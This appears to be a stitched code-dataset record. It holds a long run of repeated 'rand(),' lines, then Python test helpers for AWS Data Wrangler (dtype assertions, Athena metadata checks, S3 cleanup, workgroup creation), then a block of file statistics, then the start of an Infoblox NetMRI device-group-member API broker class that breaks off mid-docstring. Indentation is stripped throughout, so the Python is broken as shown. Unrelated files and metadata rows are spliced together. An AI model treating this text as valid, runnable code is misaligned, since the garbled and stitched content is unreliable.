rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(),
rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand(), rand()
"""
def ensure_data_types(df, has_list=False):
if "iint8" in df.columns:
assert str(df["iint8"].dtype).startswith("Int")
assert str(df["iint16"].dtype).startswith("Int")
assert str(df["iint32"].dtype).startswith("Int")
assert str(df["iint64"].dtype) == "Int64"
assert str(df["float"].dtype).startswith("float")
assert str(df["ddouble"].dtype) == "float64"
assert str(df["decimal"].dtype) == "object"
if "string_object" in df.columns:
assert str(df["string_object"].dtype) == "string"
assert str(df["string"].dtype) == "string"
assert str(df["date"].dtype) == "object"
assert str(df["timestamp"].dtype) == "datetime64[ns]"
assert str(df["bool"].dtype) in ("boolean", "Int64", "object")
if "binary" in df.columns:
assert str(df["binary"].dtype) == "object"
assert str(df["category"].dtype) == "float64"
if has_list is True:
assert str(df["list"].dtype) == "object"
assert str(df["list_list"].dtype) == "object"
if "__index_level_0__" in df.columns:
assert str(df["__index_level_0__"].dtype) == "Int64"
assert str(df["par0"].dtype) in ("Int64", "category")
assert str(df["par1"].dtype) in ("string", "category")
row = df[df["iint16"] == 1]
if not row.empty:
row = row.iloc[0]
assert str(type(row["decimal"]).__name__) == "Decimal"
assert str(type(row["date"]).__name__) == "date"
if "binary" in df.columns:
assert str(type(row["binary"]).__name__) == "bytes"
if has_list is True:
assert str(type(row["list"][0]).__name__) == "int64"
assert str(type(row["list_list"][0][0]).__name__) == "int64"
def ensure_data_types_category(df):
assert len(df.columns) in (7, 8)
assert str(df["id"].dtype) in ("category", "Int64")
assert str(df["string_object"].dtype) == "category"
assert str(df["string"].dtype) == "category"
if "binary" in df.columns:
assert str(df["binary"].dtype) == "category"
assert str(df["float"].dtype) == "category"
assert str(df["int"].dtype) in ("category", "Int64")
assert str(df["par0"].dtype) in ("category", "Int64")
assert str(df["par1"].dtype) == "category"
def ensure_data_types_csv(df, governed=False):
if "__index_level_0__" in df:
assert str(df["__index_level_0__"].dtype).startswith("Int")
assert str(df["id"].dtype).startswith("Int")
if "string_object" in df:
assert str(df["string_object"].dtype) == "string"
if "string" in df:
assert str(df["string"].dtype) == "string"
if "float" in df:
assert str(df["float"].dtype).startswith("float")
if "int" in df:
assert str(df["int"].dtype).startswith("Int")
if governed:
assert str(df["date"].dtype).startswith("datetime")
else:
assert str(df["date"].dtype) == "object"
assert str(df["timestamp"].dtype).startswith("datetime")
if "bool" in df:
assert str(df["bool"].dtype) == "boolean"
if "par0" in df:
assert str(df["par0"].dtype).startswith("Int")
if "par1" in df:
assert str(df["par1"].dtype) == "string"
def ensure_athena_query_metadata(df, ctas_approach=True, encrypted=False):
assert df.query_metadata is not None
assert isinstance(df.query_metadata, dict)
assert df.query_metadata["QueryExecutionId"] is not None
assert df.query_metadata["Query"] is not None
assert df.query_metadata["StatementType"] is not None
if encrypted:
assert df.query_metadata["ResultConfiguration"]["EncryptionConfiguration"]
assert df.query_metadata["QueryExecutionContext"] is not None
assert df.query_metadata["Status"]["SubmissionDateTime"] is not None
assert df.query_metadata["Status"]["CompletionDateTime"] is not None
assert df.query_metadata["Statistics"] is not None
assert df.query_metadata["WorkGroup"] is not None
assert df.query_metadata["ResultConfiguration"]["OutputLocation"] is not None
if ctas_approach:
assert df.query_metadata["Statistics"]["DataManifestLocation"] is not None
def get_time_str_with_random_suffix() -> str:
time_str = datetime.utcnow().strftime("%Y%m%d%H%M%S%f")
return f"{time_str}_{random.randrange(16**6):06x}"
def path_generator(bucket: str) -> Iterator[str]:
s3_path = f"s3://{bucket}/{get_time_str_with_random_suffix()}/"
print(f"S3 Path: {s3_path}")
objs = wr.s3.list_objects(s3_path)
wr.s3.delete_objects(path=objs)
yield s3_path
objs = wr.s3.list_objects(s3_path)
wr.s3.delete_objects(path=objs)
def extract_cloudformation_outputs():
outputs = {}
client = boto3.client("cloudformation")
response = try_it(client.describe_stacks, botocore.exceptions.ClientError, max_num_tries=5)
for stack in response.get("Stacks"):
if (stack["StackName"] in ["aws-data-wrangler-base", "aws-data-wrangler-databases"]) and (
stack["StackStatus"] in CFN_VALID_STATUS
):
for output in stack.get("Outputs"):
outputs[output.get("OutputKey")] = output.get("OutputValue")
return outputs
def list_workgroups():
client = boto3.client("athena")
attempt = 1
while True:
try:
return client.list_work_groups()
except botocore.exceptions.ClientError as ex:
if ex.response["Error"]["Code"] != "ThrottlingException":
raise ex
if attempt > 5:
raise ex
time.sleep(attempt + random.randrange(start=0, stop=3, step=1))
def validate_workgroup_key(workgroup):
if "ResultConfiguration" in workgroup["Configuration"]:
if "EncryptionConfiguration" in workgroup["Configuration"]["ResultConfiguration"]:
if "KmsKey" in workgroup["Configuration"]["ResultConfiguration"]["EncryptionConfiguration"]:
kms_client = boto3.client("kms")
key = try_it(
kms_client.describe_key,
kms_client.exceptions.NotFoundException,
KeyId=workgroup["Configuration"]["ResultConfiguration"]["EncryptionConfiguration"]["KmsKey"],
)["KeyMetadata"]
if key["KeyState"] != "Enabled":
return False
return True
def create_workgroup(wkg_name, config):
client = boto3.client("athena")
wkgs = list_workgroups()
wkgs = [x["Name"] for x in wkgs["WorkGroups"]]
deleted = False
if wkg_name in wkgs:
wkg = try_it(client.get_work_group, botocore.exceptions.ClientError, max_num_tries=5, WorkGroup=wkg_name)[
"WorkGroup"
]
if validate_workgroup_key(workgroup=wkg) is False:
client.delete_work_group(WorkGroup=wkg_name, RecursiveDeleteOption=True)
deleted = True
if wkg_name not in wkgs or deleted is True:
client.create_work_group(
Name=wkg_name,
Configuration=config,
Description=f"AWS Data Wrangler Test - {wkg_name}",
)
return wkg_name
| 55.618729
| 114
| 0.505592
| 4,065
| 33,260
| 4.093481
| 0.056089
| 1.089904
| 1.634135
| 2.177885
| 0.801382
| 0.771755
| 0.749399
| 0.711118
| 0.702704
| 0.702704
| 0
| 0.024273
| 0.206013
| 33,260
| 597
| 115
| 55.711893
| 0.605839
| 0.003969
| 0
| 0.630631
| 0
| 0.340541
| 0.65769
| 0.008333
| 0
| 0
| 0
| 0
| 0.104505
| 1
| 0.032432
| false
| 0
| 0.018018
| 0.001802
| 0.075676
| 0.001802
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
bca32c52e9ddf6c661e9dc84e222b4be5d2bd44a
| 41,061
|
py
|
Python
|
infoblox_netmri/api/broker/v3_8_0/device_group_member_broker.py
|
infobloxopen/infoblox_netmri
|
aa1c744df7e439dbe163bb9edd165e4e85a9771b
|
[
"Apache-2.0"
] | 12
|
2016-02-19T12:37:54.000Z
|
2022-03-04T20:11:08.000Z
|
infoblox_netmri/api/broker/v3_8_0/device_group_member_broker.py
|
infobloxopen/infoblox_netmri
|
aa1c744df7e439dbe163bb9edd165e4e85a9771b
|
[
"Apache-2.0"
] | 18
|
2015-11-12T18:37:00.000Z
|
2021-05-19T07:59:55.000Z
|
infoblox_netmri/api/broker/v3_8_0/device_group_member_broker.py
|
infobloxopen/infoblox_netmri
|
aa1c744df7e439dbe163bb9edd165e4e85a9771b
|
[
"Apache-2.0"
] | 18
|
2016-01-07T12:04:34.000Z
|
2022-03-31T11:05:41.000Z
|
from ..broker import Broker
class DeviceGroupMemberBroker(Broker):
controller = "device_group_members"
def show(self, **kwargs):
"""Shows the details for the specified device group member.
**Inputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` True
| ``default:`` None
:param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record.
:type DeviceGroupMemberID: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device.
:type include: Array of String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_group_member: The device group member identified by the specified DeviceGroupMemberID.
:rtype device_group_member: DeviceGroupMember
"""
return self.api_request(self._get_method_fullname("show"), kwargs)
def index(self, **kwargs):
"""Lists the available device group members. Any of the inputs listed may be be used to narrow the list; other inputs will be ignored. Of the various ways to query lists, using this method is most efficient.
**Inputs**
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record.
:type DeviceGroupMemberID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberID: The internal NetMRI identifier for this device group membership record.
:type DeviceGroupMemberID: Array of Integer
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceID: The internal NetMRI identifier for the device associated with this membership record.
:type DeviceID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceID: The internal NetMRI identifier for the device associated with this membership record.
:type DeviceID: Array of Integer
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param GroupID: The internal NetMRI identifier for the group associated with this membership record.
:type GroupID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param GroupID: The internal NetMRI identifier for the group associated with this membership record.
:type GroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DeviceGroupID: The internal NetMRI identifier of the device groups to which to limit the results.
:type DeviceGroupID: Array of Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param timestamp: The data returned will represent the device group members as of this date and time. If omitted, the result will indicate the most recently collected data.
:type timestamp: DateTime
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param methods: A list of device group member methods. The listed methods will be called on each device group member returned and included in the output. Available methods are: device, infradevice.
:type methods: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param include: A list of associated object types to include in the output. The listed associations will be returned as outputs named according to the association name (see outputs below). Available includes are: device.
:type include: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 0
:param start: The record number to return in the selected page of data. It will always appear, although it may not be the first record. See the :limit for more information.
:type start: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` 1000
:param limit: The size of the page of data, that is, the maximum number of records returned. The limit size will be used to break the data up into pages and the first page with the start record will be returned. So if you have 100 records and use a :limit of 10 and a :start of 10, you will get records 10-19. The maximum limit is 10000.
:type limit: Integer
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` DeviceGroupMemberID
:param sort: The data field(s) to use for sorting the output. Default is DeviceGroupMemberID. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID.
:type sort: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` asc
:param dir: The direction(s) in which to sort the data. Default is 'asc'. Valid values are 'asc' and 'desc'.
:type dir: Array of String
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param select: The list of attributes to return for each DeviceGroupMember. Valid values are DeviceGroupMemberID, GroupID, DeviceID, DeviceGroupMemberStartTime, DeviceGroupMemberEndTime, DeviceGroupMemberChangedCols, DeviceGroupMemberTimestamp, DataSourceID. If empty or omitted, all attributes will be returned.
:type select: Array
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_field: The field name for NIOS GOTO that is used for locating a row position of records.
:type goto_field: String
| ``api version min:`` 2.8
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param goto_value: The value of goto_field for NIOS GOTO that is used for locating a row position of records.
:type goto_value: String
**Outputs**
| ``api version min:`` None
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:return device_group_members: An array of the DeviceGroupMember objects that match the specified input criteria.
:rtype device_group_members: Array of DeviceGroupMember
"""
return self.api_list_request(self._get_method_fullname("index"), kwargs)
def search(self, **kwargs):
"""Lists the available device group members matching the input criteria. This method provides a more flexible search interface than the index method, but searching using this method is more demanding on the system and will not perform to the same level as the index method. The input fields listed below will be used as in the index method, to filter the result, along with the optional query string and XML filter described below.
**Inputs**
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record.
:type DataSourceID: Integer
| ``api version min:`` 2.5
| ``api version max:`` None
| ``required:`` False
| ``default:`` None
:param DataSourceID: The internal NetMRI identifier for the collector NetMRI that collected this data record.
:type DataSourceID: Array of Integer
| ``api version min:`` 2.3
| ``api version max:`` 2.4
| ``required:`` False
| ``default:`` None
:param DeviceGroupMemberChangedCols: The fields that changed between this revision of the record and the previous revision.
